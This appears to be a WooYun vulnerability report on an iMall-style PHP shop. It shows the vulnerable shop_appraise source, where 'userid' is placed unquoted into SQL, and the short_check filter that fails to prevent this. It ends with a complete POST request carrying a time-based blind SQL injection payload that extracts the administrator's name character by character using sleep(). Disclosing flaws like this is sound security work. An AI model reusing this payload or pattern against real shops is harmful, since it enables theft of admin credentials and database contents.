WooYun.org

无关代码
/* post 数据处理 */
$credit=short_check(get_args('credit'));
$time=short_check(get_args('time'));//
$t=short_check(get_args('t'));
$user_id=short_check(get_args('userid'));//shopid
if(empty($t) or empty($user_id)){	
	exit('-1');
}
//数据表定义区
$t_credit = $tablePreStr."credit";
$t_goods = $tablePreStr."goods";
$t_user = $tablePreStr."users";
$t_order_info = $tablePreStr."order_info";
$dbo=new dbex;
//读写分离定义方法
dbtarget('r',$dbServs);
$SexMonth = $ctime->time_stamp() - (180 * 24 * 60 * 60);
$SexMonth = date('Y-m-d', $SexMonth);
$sql="select a.*,b.goods_name,b.goods_price,c.user_name from $t_credit as a,$t_goods as b,$t_user as c ";
//来自卖家
if($t=="seller"){
	$sql.="where a.buyer=$user_id and b.goods_id=a.goods_id and c.user_id=a.seller ";
	if($credit!=''){
		$sql.=" and a.buyer_credit=$credit ";
	}
	if($time!='' && $time!='-1'){
		$sql.=" and a.buyer_evaltime>='$time' ";
	}else if($time=='-1'){
		$sql.=" and a.buyer_evaltime<'$SexMonth' ";
	}
	$sql.=" order by a.buyer_evaltime desc";
//来自买家
}
无关代码

function short_check($str,$is_hex="") {
	$MaxSlen=300;//限制短输入项最多300个字符
	if (!get_magic_quotes_gpc())    // 判断magic_quotes_gpc是否打开
	{
		$str = addslashes($str);    // 进行过滤
	}
	$str = LenLimit($str,$MaxSlen);
	
	$str = str_replace("\'", "", $str);
	$str = str_replace("\\", "", $str);
	$str = str_replace("#", "", $str);
	$str = htmlspecialchars($str);
	if (empty($is_hex)) {
		$str = cleanHex($str);
	}
	return trim($str);
}

POST /do.php?act=shop_appraise HTTP/1.1
Host: 192.168.0.107
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh,zh-cn;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.107/modules.php?app=poll_send
Cookie: AJSTAT_ok_times=8; bdshare_firstime=1414502402741; iweb_hisgoods[15]=1417531949; iweb_hisgoods[26]=1417866015;
 [email protected]; PHPSESSID=m7fvrk38fpfecbjjur7egblrl6; post_sep_time=1418208137
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 147
credit=&time=&t=seller&userid=-1 or  (select if(ord(mid((select admin_name from imall_admin_user where admin_id=1 limit 0,1),1,1))=122,
sleep(1),0))